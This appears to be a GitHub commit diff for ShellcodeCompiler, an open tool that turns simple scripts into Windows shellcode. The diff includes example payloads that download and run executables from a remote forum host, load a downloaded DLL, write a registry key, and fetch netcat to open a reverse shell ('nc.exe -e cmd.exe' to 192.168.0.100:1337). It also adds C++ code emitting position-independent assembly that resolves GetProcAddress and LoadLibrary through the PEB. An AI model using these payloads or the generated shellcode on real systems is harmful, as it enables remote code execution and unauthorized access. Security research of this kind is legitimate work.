| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,9 +1,15 @@ | |||
| 1 | 1 | ||
| 2 | 2 | function URLDownloadToFileA("urlmon.dll"); | |
| 3 | + | ||
| 3 | 4 | function WinExec("kernel32.dll"); | |
| 5 | + | ||
| 4 | 6 | function ExitProcess("kernel32.dll"); | |
| 5 | 7 | ||
| 8 | + | ||
| 9 | + | ||
| 6 | 10 | URLDownloadToFileA(0,"https://rstforums.com/fisiere/calc.exe","calc.exe",0,0); | |
| 11 | + | ||
| 7 | 12 | WinExec("calc.exe",0); | |
| 13 | + | ||
| 8 | 14 | ExitProcess(0); | |
| 9 | 15 | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,7 +1,13 @@ | |||
| 1 | 1 | function URLDownloadToFileA("urlmon.dll"); | |
| 2 | + | ||
| 2 | 3 | function LoadLibraryA("kernel32.dll"); | |
| 4 | + | ||
| 3 | 5 | function ExitProcess("kernel32.dll"); | |
| 4 | 6 | ||
| 7 | + | ||
| 8 | + | ||
| 5 | 9 | URLDownloadToFileA(0,"https://rstforums.com/fisiere/DLLExample.dll","SC.dll",0,0); | |
| 10 | + | ||
| 6 | 11 | LoadLibraryA("SC.dll"); | |
| 12 | + | ||
| 7 | 13 | ExitProcess(0); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,8 +1,14 @@ | |||
| 1 | 1 | ||
| 2 | 2 | function CopyFileA("kernel32.dll"); | |
| 3 | + | ||
| 3 | 4 | function DeleteFileA("kernel32.dll"); | |
| 5 | + | ||
| 4 | 6 | function ExitProcess("kernel32.dll"); | |
| 5 | 7 | ||
| 8 | + | ||
| 9 | + | ||
| 6 | 10 | CopyFileA("C:\Windows\System32\calc.exe","C:\Users\Ionut\Desktop\calc.exe",0); | |
| 11 | + | ||
| 7 | 12 | DeleteFileA("C:\Users\Ionut\Desktop\Delete.txt"); | |
| 13 | + | ||
| 8 | 14 | ExitProcess(0); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,6 +1,10 @@ | |||
| 1 | 1 | ||
| 2 | 2 | function MessageBoxA("user32.dll"); | |
| 3 | + | ||
| 3 | 4 | function ExitProcess("kernel32.dll"); | |
| 4 | 5 | ||
| 6 | + | ||
| 7 | + | ||
| 5 | 8 | MessageBoxA(0,"This is a MessageBox example","Shellcode Compiler",0); | |
| 9 | + | ||
| 6 | 10 | ExitProcess(0); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,5 +1,9 @@ | |||
| 1 | 1 | function RegSetKeyValueA("advapi32.dll"); | |
| 2 | + | ||
| 2 | 3 | function ExitProcess("kernel32.dll"); | |
| 3 | 4 | ||
| 5 | + | ||
| 6 | + | ||
| 4 | 7 | RegSetKeyValueA(2147483649,"Software\Microsoft\Notepad","Test",1,"Nytro",5); | |
| 8 | + | ||
| 5 | 9 | ExitProcess(0); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,7 +1,13 @@ | |||
| 1 | 1 | function URLDownloadToFileA("urlmon.dll"); | |
| 2 | + | ||
| 2 | 3 | function WinExec("kernel32.dll"); | |
| 4 | + | ||
| 3 | 5 | function ExitProcess("kernel32.dll"); | |
| 4 | 6 | ||
| 7 | + | ||
| 8 | + | ||
| 5 | 9 | URLDownloadToFileA(0,"https://rstforums.com/fisiere/nc.exe","nc.exe",0,0); | |
| 10 | + | ||
| 6 | 11 | WinExec("nc.exe -e cmd.exe 192.168.0.100 1337",0); | |
| 12 | + | ||
| 7 | 13 | ExitProcess(0); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -32,6 +32,9 @@ Shellcode compiler was released at DefCamp security conference in Romania, Novem | |||
| 32 | 32 | 2. It is not possible to use pointers or buffers | |
| 33 | 33 | 3. It is not possible to declare variables | |
| 34 | 34 | ||
| 35 | + # Changelog | ||
| 36 | + 1. Code refactoring | ||
| 37 | + | ||
| 35 | 38 | All these limitations will be fixed as soon as possible. However, many other limitations will exist. | |
| 36 | 39 | This is an Alpha version. Please report any bugs or suggestions. | |
| 37 | 40 | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,67 @@ | |||
| 1 | + | ||
| 2 | + #include "ASMHeader.h" | ||
| 3 | + | ||
| 4 | + // Function that returns the default ASM Header | ||
| 5 | + | ||
| 6 | + string ASMHeader::GetASMHeader() | ||
| 7 | + { | ||
| 8 | + string sContent = | ||
| 9 | + "; Shellcode generated using Shellcode Compiler \r\n" | ||
| 10 | + "; https://github.com/NytroRST/ShellcodeCompiler \r\n\r\n" | ||
| 11 | + "BITS 32 \r\n" | ||
| 12 | + "SECTION .text \r\n" | ||
| 13 | + "global main \r\n" | ||
| 14 | + "main: \r\n\r\n" | ||
| 15 | + "xor ecx, ecx \r\n" | ||
| 16 | + "mov eax, [fs:ecx + 0x30] ; EAX = PEB \r\n" | ||
| 17 | + "mov eax, [eax + 0xc] ; EAX = PEB->Ldr \r\n" | ||
| 18 | + "mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder \r\n" | ||
| 19 | + "lodsd ; EAX = Second module \r\n" | ||
| 20 | + "xchg eax, esi ; EAX = ESI, ESI = EAX \r\n" | ||
| 21 | + "lodsd ; EAX = Third(kernel32) \r\n" | ||
| 22 | + "mov ebx, [eax + 0x10] ; EBX = Base address \r\n" | ||
| 23 | + "mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew \r\n" | ||
| 24 | + "add edx, ebx ; EDX = PE Header \r\n" | ||
| 25 | + "mov edx, [edx + 0x78] ; EDX = Offset export table \r\n" | ||
| 26 | + "add edx, ebx ; EDX = Export table \r\n" | ||
| 27 | + "mov esi, [edx + 0x20] ; ESI = Offset namestable \r\n" | ||
| 28 | + "add esi, ebx ; ESI = Names table \r\n" | ||
| 29 | + "xor ecx, ecx ; EXC = 0 \r\n\r\n" | ||
| 30 | + | ||
| 31 | + "Get_Function: \r\n\r\n" | ||
| 32 | + | ||
| 33 | + "inc ecx ; Increment the ordinal \r\n" | ||
| 34 | + "lodsd ; Get name offset \r\n" | ||
| 35 | + "add eax, ebx ; Get function name \r\n" | ||
| 36 | + "cmp dword [eax], 0x50746547 ; GetP \r\n" | ||
| 37 | + "jnz Get_Function \r\n" | ||
| 38 | + "cmp dword [eax + 0x4], 0x41636f72 ; rocA \r\n" | ||
| 39 | + "jnz Get_Function \r\n" | ||
| 40 | + "cmp dword [eax + 0x8], 0x65726464 ; ddre \r\n" | ||
| 41 | + "jnz Get_Function \r\n" | ||
| 42 | + "mov esi, [edx + 0x24] ; ESI = Offset ordinals \r\n" | ||
| 43 | + "add esi, ebx ; ESI = Ordinals table \r\n" | ||
| 44 | + "mov cx, [esi + ecx * 2] ; Number of function \r\n" | ||
| 45 | + "dec ecx \r\n" | ||
| 46 | + "mov esi, [edx + 0x1c] ; Offset address table \r\n" | ||
| 47 | + "add esi, ebx ; ESI = Address table \r\n" | ||
| 48 | + "mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) \r\n" | ||
| 49 | + "add edx, ebx ; EDX = GetProcAddress \r\n\r\n" | ||
| 50 | + | ||
| 51 | + "xor ecx, ecx ; ECX = 0 \r\n" | ||
| 52 | + "push ebx ; Kernel32 base address \r\n" | ||
| 53 | + "push edx ; GetProcAddress \r\n" | ||
| 54 | + "push ecx ; 0 \r\n" | ||
| 55 | + "push 0x41797261 ; aryA \r\n" | ||
| 56 | + "push 0x7262694c ; Libr \r\n" | ||
| 57 | + "push 0x64616f4c ; Load \r\n" | ||
| 58 | + "push esp ; LoadLibrary \r\n" | ||
| 59 | + "push ebx ; Kernel32 base address \r\n" | ||
| 60 | + "call edx ; GetProcAddress(LL) \r\n\r\n" | ||
| 61 | + | ||
| 62 | + "add esp, 0xc ; pop LoadLibrary \r\n" | ||
| 63 | + "pop ecx ; ECX = 0 \r\n" | ||
| 64 | + "push eax ; EAX = LoadLibrary \r\n\r\n"; | ||
| 65 | + | ||
| 66 | + return sContent; | ||
| 67 | + } | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,17 @@ | |||
| 1 | + | ||
| 2 | + #ifndef ASMHEADER_H | ||
| 3 | + #define ASMHEADER_H | ||
| 4 | + | ||
| 5 | + #include <string> | ||
| 6 | + | ||
| 7 | + using namespace std; | ||
| 8 | + | ||
| 9 | + // Class used for ASM Header | ||
| 10 | + | ||
| 11 | + class ASMHeader | ||
| 12 | + { | ||
| 13 | + public: | ||
| 14 | + static string GetASMHeader(); | ||
| 15 | + }; | ||
| 16 | + | ||
| 17 | + #endif | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments